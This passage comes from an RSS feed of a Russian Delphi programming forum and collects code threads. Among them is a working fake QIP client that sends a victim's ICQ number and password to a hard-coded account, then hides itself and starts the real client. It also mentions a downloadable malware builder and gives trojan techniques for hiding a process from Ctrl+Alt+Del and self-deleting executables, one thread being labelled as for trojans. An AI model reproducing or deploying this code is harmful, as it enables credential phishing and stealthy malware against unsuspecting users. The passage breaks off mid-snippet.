&lt;br /&gt; try &lt;br /&gt; begin &lt;br /&gt; Info.Clear; &lt;br /&gt; Info.Add(&apos;user=Jaw&apos;&amp;#41;;//имя пользователя заментие на свой. &lt;br /&gt; Info.Add(&apos;password=123456&apos;&amp;#41;;//пароль замените на свой. &lt;br /&gt; Info.Add(&apos;rem=1&apos;&amp;#41;; &lt;br /&gt; Info.Add(&apos;a=2&apos;&amp;#41;; &lt;br /&gt; Info.Add(&apos;ajax=1&apos;&amp;#41;; &lt;br /&gt; Info.Add(&apos;rnd=&apos;+rdn&amp;#41;; &lt;br /&gt; s:=form1.idHTTP1.Post(&apos;http&amp;#58;//delfcode.ru/index/sub/&apos;,Info&amp;#41;; &lt;br /&gt; rdn:=&apos;&apos;; &lt;br /&gt; result:=&apos;&apos;; &lt;br /&gt; one:=&apos;&quot;+ad+&quot;&apos;; &lt;br /&gt; too:=#39+&apos;&quot;,&apos;+#39+&apos;1000&apos;+#39+&apos;&amp;#41;]]&gt;&lt;/cmd&gt;&lt;/ajax&gt;&apos;; &lt;br /&gt; if Pos(one,s&amp;#41;&lt;&gt;0 then delete(s,1,Pos(one,s&amp;#41;-1&amp;#41;; &lt;br /&gt; rdn:=copy(s,Pos(one,s&amp;#41;+length(one&amp;#41;, Pos(too,s&amp;#41;-(Pos(one,s&amp;#41;+length(one&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; if Pos(one,s&amp;#41;&lt;&gt;0 then &lt;br /&gt; delete(s,Pos(one,s&amp;#41;,Pos(too,s&amp;#41;-1&amp;#41;; &lt;br /&gt; result:=idhttp1.get(&apos;http&amp;#58;//delfcode.ru/&apos;+rdn&amp;#41;; &lt;br /&gt; if Pos(&apos;&lt;B&gt;Jaw&lt;/B&gt;&apos;,result&amp;#41;&gt; 0 then//Имя пользователя замените на свое &lt;br /&gt; showmessage(&apos;it works&apos;&amp;#41; &lt;br /&gt; else &lt;br /&gt; showmessage(&apos;no&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; finally &lt;br /&gt; Info.Free; &lt;br /&gt; CM.Free; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;b&gt;Получение публичного IP&lt;/b&gt;&lt;/span&gt; &lt;br /&gt; Компилятор: Delphi7 и выше. &lt;br /&gt; Автор: Jaw. &lt;p&gt; Это пример отправки GET запроса с помошью Winsock. Мы отправляеи гет запрос на страницу &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/-OoX&quot; title=&quot;http://www.whatismyip.com/automation/n09230945.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.whatismyip.com/automation/n09230945.asp&lt;/a&gt; и в ответ получаем свой IP. &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; wData:WSAData; &lt;br /&gt; s:TSOCKET; &lt;br /&gt; addr:sockaddr_in; &lt;br /&gt; sendbuff,a:string; &lt;br /&gt; sBuff:array &amp;#91;1..6000] of char; &lt;br /&gt; i:integer; &lt;br /&gt; begin &lt;br /&gt; if WSAStartup(makeword(1,1&amp;#41;,wData&amp;#41;&lt;&gt;0 then &lt;br /&gt; Begin &lt;br /&gt; showmessage(&apos;сокс не найден&apos;&amp;#41;; &lt;br /&gt; exit; &lt;br /&gt; End; &lt;br /&gt; s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP&amp;#41;; &lt;br /&gt; FillChar(addr, SizeOf(sockaddr_in&amp;#41;, 0&amp;#41;; &lt;br /&gt; addr.sin_family:=AF_Inet; &lt;br /&gt; addr.sin_port:=htons(80&amp;#41;; &lt;br /&gt; addr.sin_addr.S_addr:=inet_addr(&apos;72.233.89.199&apos;&amp;#41;; &lt;br /&gt; Err(Connect(S,addr,SizeOf(TSockAddr&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; sendbuff := &apos;&apos;; &lt;br /&gt; sendbuff := &apos;GET /automation/n09230945.asp HTTP/1.1&apos;+ #13#10 + &lt;br /&gt; &apos;Host: www.whatismyip.com&apos;+ #13#10 + &lt;br /&gt; &apos;User-Agent: Opera/9.80 (Windows NT 5.1; U; ru&amp;#41; Presto/2.2.15 Version/10.00&apos;+ #13#10 + &lt;br /&gt; &apos;Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&apos;+ #13#10 + &lt;br /&gt; &apos;Accept-Language:ru,en-us;q=0.7,en;q=0.3&apos;+ #13#10 + &lt;br /&gt; &apos;Accept-Encoding:Accept-Encoding: {deflate, gzip,} x-gzip, identity, *;q=0&apos;+ #13#10 + &lt;br /&gt; &apos;Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.7&apos;+ #13#10 + &lt;br /&gt; &apos;Keep-Alive:300&apos;+ #13#10 + &lt;br /&gt; &apos;Cookie: ASPSESSIONIDQQSACDRD=GCFAOKDBDLMGOFNGGKBCBKCO&apos;+#13#10+ &lt;br /&gt; &apos;Cookie2: $Version=1&apos;+#13#10+ &lt;br /&gt; &apos;Connection:keep-alive&apos;+#13#10#13#10; &lt;br /&gt; send(s, sendbuff&amp;#91;1] , Length(sendbuff&amp;#41;, 0&amp;#41;; &lt;br /&gt; application.ProcessMessages; &lt;br /&gt; recv(s,sBuff,5000,0&amp;#41;; &lt;br /&gt; application.ProcessMessages; &lt;br /&gt; memo1.lines.add(sbuff&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;b&gt;Добавлено&lt;/b&gt; (03.01.2010, 21:48) &lt;br /&gt; --------------------------------------------- &lt;br /&gt; Возможный вариант доработки фейка квипа, процедура отправки номера;пароля: &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TForm1.ICQClient1Login(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; hform, hgroup, hcombo, hedi, wndt: HWND; &lt;br /&gt; int: string; &lt;br /&gt; begin &lt;br /&gt; icqclient1.SendMessage(12345678, &apos;Уин: &apos; + ComboBox1.Text + &apos;&amp;nbsp;&amp;nbsp;Password: &apos; + Edit1.Text&amp;#41;;// отправляем данные &lt;br /&gt; formX.hide; //скрываем форму фейка &lt;br /&gt; ShellExecute(Self.Handle, &apos;open&apos;, PChar(&apos;C:&amp;#92;programfiles&amp;#92;QIP&amp;#92;qip.exe&apos;&amp;#41;, nil, nil, SW_SHOWNORMAL&amp;#41;;//запускаем оригинальный квип &lt;br /&gt; sleep(10&amp;#41;;// ждем пока загрузится квип &lt;br /&gt; { Заполняем поля } &lt;br /&gt; hform:=FindWindow(&apos;TManForm&apos;, nil&amp;#41;; &lt;br /&gt; hgroup:=FindWindowEx(hform,0,&apos;TGroupBox&apos;, nil&amp;#41;; &lt;br /&gt; hcombo:=FindWindowEx(hgroup,0,&apos;TComboBox&apos;, nil&amp;#41;; &lt;br /&gt; hedit:=FindWindowEx(hgroup,0,&apos;TEdit&apos;,nil&amp;#41;; &lt;br /&gt; int:=edit1.text;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//пароль &lt;br /&gt; SendMessage(hedit, WM_SETTEXT, 0, LParam(PChar(int&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; int:=ComboBox1.Text; //уин &lt;br /&gt; SendMessage(hcombo, WM_SETTEXT, 0, LParam(PChar(int&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; {Нажимаем кнопку подключится} &lt;br /&gt; wnd:=FindWindowEx(hgroup, 0, &apos;TButton&apos;, &apos;Подключиться&apos;&amp;#41;; &lt;br /&gt; PostMessage (wnd, BM_CLICK, 0, 0&amp;#41;; &lt;br /&gt; close;// закрываем фейк &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; P.S: При создании формы фейка можно считывать из файла accounts.cfg данные о ранее подключаемых номерах для пущей убедительности. &lt;p&gt; &lt;b&gt;Добавлено&lt;/b&gt; (05.05.2010, 22:04) &lt;br /&gt; --------------------------------------------- &lt;br /&gt; Пример билдера II (не патчера). &lt;p&gt; Выкладываю пример билдера который не использует патчинг exe, для создания нового проекта, компилирует из исходников. &lt;p&gt; Файлы &amp; Каталоги: &lt;p&gt; 1. В дирректории Program исходный код программы генерируемой билдером. &lt;br /&gt; 2. В папке Builder хранятся исходники билдера. &lt;br /&gt; 3. Resource =&gt; ресурсы подключаемые к билдеру. &lt;br /&gt; 4. В каталоге lib присутствует сам компилятор, библиотеки для компиляции(system.dcu&amp;#92;Windows.dcu&amp;#92;SysInit.dcu&amp;#92;Type s.dcu) и make.bat собирающий исходники в *.exe. &lt;p&gt; Скачать: &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/__oX&quot; title=&quot;http://multi-up.com/268165&quot; rel=&quot;nofollow&quot;&gt;http://multi-up.com/268165&lt;/a&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Jaw</dc:creator>
<guid>https://delfcode.ru/forum/22-226-1</guid>
</item>
<item>
<title>Убрать прогу из alt + ctrl + del</title>
<link>https://delfcode.ru/forum/22-49-1</link>
<pubDate>Fri, 02 Apr 2010 21:05:31 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Для удаления программы из диалога &quot;Завершение работы программы&quot;, вызываемого по Ctrl+Alt+Del, нужно используют функцию RegisterServiceProcess. В Windows NT этой функции не существует. Поэтому, чтобы не происходило ошибки, нужно проверять версию Windows. Если это не Windows NT, то нужно динамически загрузить kernel32.dll. &lt;p&gt; Эта программа исчезает из Alt+Tab, не появляется и кнопка на TaskBar. &lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject); &lt;br /&gt; var &lt;br /&gt; RegProcess: function (p1, p2:integer): integer; stdcall; &lt;br /&gt; hDllKernel: HInst; &lt;br /&gt; begin &lt;br /&gt; if GetVersion &gt;= $80000000 then begin &lt;br /&gt; hDllKernel := LoadLibrary(&apos;kernel32.dll&apos;); &lt;br /&gt; RegProcess := GetProcAddress(hDllKernel, &apos;RegisterServiceProcess&apos;); &lt;br /&gt; RegProcess(0, 1); &lt;br /&gt; end; &lt;br /&gt; ShowWindow(Application.Handle, SW_HIDE); &lt;br /&gt; SetWindowLong(Application.Handle, GWL_EXSTYLE, &lt;br /&gt; GetWindowLong(Application.Handle, GWL_EXSTYLE) or &lt;br /&gt; WS_EX_TOOLWINDOW); &lt;br /&gt; end;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-49-1</guid>
</item>
<item>
<title>Как программе удалить саму себя</title>
<link>https://delfcode.ru/forum/22-81-1</link>
<pubDate>Fri, 02 Apr 2010 07:34:08 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: для троянцев&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: opius&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Первый способ: &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;uses&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, SysUtils;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; procedure DeleteMe;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFile: TextFile;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFileName: string;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProcessInfo: TProcessInformation;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;StartUpInfo: TStartupInfo;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ создаём бат-файл в директории приложения } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFileName := ExtractFilePath(ParamStr(0&amp;#41;&amp;#41; + &apos;$$336699.bat&apos;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ открываем и записываем в файл } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(BatchFile, BatchFileName&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rewrite(BatchFile&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile, &apos;:try&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile, &apos;del &quot;&apos; + ParamStr(0&amp;#41; + &apos;&quot;&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;if exist &quot;&apos; + ParamStr(0&amp;#41; + &apos;&quot;&apos; + &apos; goto try&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile, &apos;del &quot;&apos; + BatchFileName + &apos;&quot;&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseFile(BatchFile&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FillChar(StartUpInfo, SizeOf(StartUpInfo&amp;#41;, $00&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;StartUpInfo.wShowWindow := SW_HIDE;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if CreateProcess(nil, PChar(BatchFileName&amp;#41;, nil, nil,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProcessInfo&amp;#41; then&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(ProcessInfo.hThread&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(ProcessInfo.hProcess&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;p&gt; А вот тот же способ, но немного модифицированный: &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program delete2;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; uses&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SysUtils,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;windows;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFile: TextFile;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFileName : string;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TM : Cardinal;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TempMem : PChar;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFileName:=ExtractFilePath(ParamStr(0&amp;#41;&amp;#41;+ &apos;$$336699.bat&apos;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(BatchFile, BatchFileName&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rewrite(BatchFile&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile,&apos;:try&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile,&apos;del &quot;&apos; + ParamStr(0&amp;#41; + &apos;&quot;&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile,&apos;if exist &quot;&apos; + ParamStr(0&amp;#41; + &apos;&quot; goto try&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(BatchFile,&apos;del &quot;&apos; + BatchFileName + &apos;&quot;&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseFile(BatchFile&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TM:=70;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetMem (TempMem,TM&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetShortPathName (pchar(BatchFileName&amp;#41;, TempMem, TM&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BatchFileName:=TempMem;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMem(TempMem&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winexec(Pchar(BatchFileName&amp;#41;,sw_hide&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;halt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;p&gt; Второй способ: &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;procedure DeleteSelf;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;module: HModule;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf: array&amp;#91;0..MAX_PATH - 1] of char;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;p: ULong;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hKrnl32: HModule;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pExitProcess,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pDeleteFile,&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFreeLibrary: pointer;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;module := GetModuleHandle(nil&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetModuleFileName(module, buf, SizeOf(buf&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(THandle(4&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;p := ULONG(module&amp;#41; + 1;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hKrnl32 := GetModuleHandle(&apos;kernel32&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pExitProcess := GetProcAddress(hKrnl32, &apos;ExitProcess&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pDeleteFile := GetProcAddress(hKrnl32, &apos;DeleteFileA&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFreeLibrary := GetProcAddress(hKrnl32, &apos;FreeLibrary&apos;&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea eax, buf&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push 0&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push eax&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push pExitProcess&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push p&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push pDeleteFile&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push pFreeLibrary&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-81-1</guid>
</item>
<item>
<title>Отправить письмо</title>
<link>https://delfcode.ru/forum/22-142-1</link>
<pubDate>Mon, 01 Mar 2010 14:46:11 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: smtp (indy9)&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 10</description>
<content:encoded>// Кинуть на форму компонент IdSMTP1 &lt;p&gt; ... &lt;p&gt; uses &lt;br /&gt; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt; Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, &lt;br /&gt; IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress; &lt;p&gt; ... &lt;p&gt; procedure TForm1.Button1Click(Sender: TObject); &lt;br /&gt; var &lt;br /&gt; M: TIdMessage; &lt;br /&gt; begin &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;M := TIdMessage.Create(Form1); &lt;p&gt; M.Body.Add(&apos;Типа первая строчка собщения&apos;); &lt;br /&gt; M.Body.Add(&apos;Типа вторая строчка собщения&apos;); &lt;br /&gt; M.From.Text := &apos;&quot;Рустик&quot; &lt;boris@uacity.com&gt;&apos;; //отправитель &lt;br /&gt; M.Recipients.Add; &lt;br /&gt; M.Recipients.Items[0].Text := &apos;&quot;Тест&quot; &lt;antohha@ukr.net&gt;&apos;; //Получатель &lt;br /&gt; M.Subject := &apos;Ну чо? потестим? =)&apos;; //Тема письма &lt;p&gt; IdSMTP1.AuthenticationType := atLogin; &lt;br /&gt; 